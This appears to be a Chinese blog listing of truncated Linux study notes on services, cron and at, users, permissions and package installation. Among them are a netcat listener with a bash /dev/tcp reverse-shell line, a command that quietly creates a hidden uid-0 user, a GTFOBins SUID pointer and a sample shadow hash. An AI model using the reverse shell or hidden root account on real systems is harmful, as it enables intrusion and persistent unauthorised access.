top
操作系统服务管理 开启关闭永久关闭服务
系统中启动了哪些进程
如何查看后台进程
ps aux
建立死循环脚本
vim /tmp/test.sh
chmod +x /tmp/test.sh 为脚本添加执行权限
/tmp/test.sh 运行 如果在后面添加 & 在后台运行
echo “xxx” > /dev/null
通过top命令查看并管理进程top命令的快捷键 q 退出 k 杀进程
systemctl list-unit-files 列出系统中所有进程的启动状态
disabled 开机不启动 enabled 开机启动
利用systemctl管理进程systemctl start autofs 服务名称 – 启动服务
systemctl stop autofs 关闭服务
systemctl restart autofs 重启服务
systemctl disable autofs 开机不启动
为什么开机以后进入的是图形界面
运行模式 图形模式 多用户模式 救援模式
systemc ...
进程补充当编辑时不小心按了ctrl+z,代表将进程放到后台
利用jobs查看后台进程
fg 【编号】调回前台
手动配置ip地址centos7
kalivim /etc/network/interfaces
开启路由转发echo 1 > /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
计划任务定时执行任务
at 一次性
cron 周期性
一次性计划任务服务 systemctl list-unit-files | grep at
at -l 列出任务
atrm 【编号】删除任务
at now +5 hour 五小时后
at now +5 min 五分钟后
at -c [编号] 查看一条未运行的计划任务
周期性计划任务
反弹shellkalinc -lvvp [port]
centosbash -i >& /dev/tcp/ ...
linux
未读1234567891011121314151617181920212223242526关于用户和组的命令 groupadd -g 2000 aqq-g 指定组的gid groupmod -g 修改gid groupdel 删除 useradd -u 指定uid -d 指定家目录 -M 不指定家目录 -g 指定基本组 -G 附加组 -s 指定用户的登录shell useradd -u 1100 -M -s /sbin/nologin testuser usermod -u -g -G -s 修改用户信息 userdel -r 删除用户的家目录和邮件信息 passwd -S 查看用户密码状态 --stdin 非交互模式设定用户密码 -l 锁定用户密码 -u 解锁密码 chage -d 设定密码最后一次修改时间距离1970年1月1的天数 0 必须改密码 -M 密码有效期 -E 设定失效时间 useradd -u 0 -o -d /bin xiu &> /dev/null 强制创建uid为0的用户echo "123" | passwd --stdin xiu ...
**/etc/passwd **– 保存了操作系统中的用户信息
用户分类
超级管理员 uid位0的用户
普通用户xiu用户 可以登录系统 /sbin不可以用
程序用户 uid 1-999 不可以登录系统 程序启动后一定需要一个用户的权限 该用户为程序用户
root : x: 0:0:root:/root:/bin/bash
第一段:用户名
第二段:密码占位符 如果没有 用户无密码登录
第三段:uid号 用户的id号
第四段:gid号 用户的基本组id
第五段:用户信息描述(弃用)
第六段:用户的登录目录 家目录
第七段:用户的登录shell(命令解释器)
/etc/shadow保存了用户的密码信息
12345678root:$6$Ikt.1mHT//YTgDaC$9ZIPJg1cHb4/M2qOkhsb08DyNRiLtzQr//ZudWFrgUjmkU1UVnfzumUjLc8J6EbHsVimNpNoNyNadlKTbctQT. : :0:99999:7: : :
第一段:用户名
第二段:用户的密码 ...
root用户无视一切权限
在linux操作系统里,权限匹配,自左向右,先匹配到谁,就按照谁来算权限
家目录误删除
将用户从组中删除
gpasswd -d xiu root
12345对象:u(user所属者) g (group所属组) o(other 其他用户) a(all所有)算数运算符: +(赋权) -(撤权) =(指定权限)
字段一
- 普通文件 d 目录 l 符号链接 c 字符设备
普通文件权限r w x
read 读权限
write 写权限
x 执行权限
目录权限r w x
r 列出文件和目录的权限
w 创建删除文件的权限
本权限针对删除文件来讲,不看你文件自身的权限
x 进入目录的权限
八进制赋权法
特殊权限粘滞位:只能作用于目录才有效只有在该目录中建立文件的人才可以删除自己的文件。(必须是该文件的所属者才可以删除)
为目录设定粘滞位的方法
chmod 1777 目录
chmod o+t 目录
suid 只对可执行文件有效https://gtfobins.github.io/gtfobins/man/
为该文件设定suid之后,任何人运行都是以 ...
linux
未读软件安装软件的分类源码包— 源代码公开,基本都是C语言写的,来自gnu社区,适用于多种linux平台
特点:压缩包的形式提供
gzip bzip2 tar 学习压缩工具使用
dd if=/dev/zero of=/tmp/bigfile bs=1M count=100 创建一个练习文件大小是100M
dd 磁盘对拷用的
if 输入文件
of 输出文件
bs 一次提取的大小
count 提取次数
gzip /tmp/bigfile 压缩
gunzip /tmp/bigfile.gz 解压缩
bzip2 /tmp/bigfile 压缩
bunzip /tmp/bigfile 解压缩
封装后的软件包
安装步骤
./configure –prefix=/usr/local/webserver
配置脚本,指定软件的安装路径,安装的功能,生成ma ...
Redhat系:redhat centos
Debian系:debian ubuntu
rpm包的软件安装rpm -qa 列出所有已经安装过的软件
rpm -qpi 包的名字.rpm 确认该软件包的作用
–scripts
rpm -qpl 包名.rpm 安装之前确认软件的安装路径
rpm -ivh 包名.rpm -i 安装 -v 显示详细信息 -h 用井号代替进度条,安装软件
安装lftp
rpm -e lftp — 卸载
弊端卸载vim编辑器
rpm -qa|grep vim
rpm -e vim-common
存在依赖关系
yum解决软件依赖关系yum install -y [软件名] 安装软件
-y 自动确认
网络源与本地源本地源比如说光盘里面一般会附带一些软件,这个时候就可以把光盘当成本地源来安装软 件。
网络源比如说aliyun的镜像网站,这就属于网络源,可以通过互联网把软件下载下来并安装
本地源配置systemctl restart autofs 让/misc/cd目录生效
网络源配置查看系统版本
cat /etc/re ...
基本命令学习命令的基本使用格式
命令字 【选项】 【文件或者目录】
man 命令字
命令字的分类命令字分内部命令和外部命令
cd 内部命令
命令解释器(shell)
window – cmd – powershell
命令解释器中自带的命令叫内部命令
通过第三方软件安装后得到的命令叫外部命令 java
help 专门用来查看内部命令使用手册的命令字 他本身也是内部命令
1more less head tail grep awk sort uniq wc du find
more分页查看 空格翻页 q退出
less可以逐行查看 q退出
head文件 查看文件前10行
tail尾巴 看文件的后10行
跟踪自己的 触发登录 ssh root@127.0.0.1 提示yes 输入密码
tail -f /var/log/secure
如果退出 ctrl + c
找出谁链接我失败的ip
grep(行)gr ...
linux
未读认识系统开始[root@xiu ~]#
[当前登录用户@主机名 当前所在目录]
当前用户的身份
超级管理员 #
普通用户 $
清屏clear
ctrl+l
字符与图形切换ctrl+alt+f1
ctrl+alt+f2
与windows基础命令pkcd - change directory 切换目录
绝对路径 相对路径
dir - ls list 列出 列出当前目录下的内容
pwd - print working directory
列出当前工作目录
type - cat 查看文件内容
整个系统的起始目录名字叫做 /
目录结构/ — 根路径 整个系统的起始路径
/bin — 二进制 单词的缩写 普通用户和管理员都可以运行的命令
/sbin — 超级管理员可以执行的命令所在路径
/boot — 引导目录 进入系统之前 内核加载 启动菜单 独立分区
/dev — device设备 一切皆文件
/etc — 服务软件的配置文件存放目录
/home — 普通用户的家目录
/ ...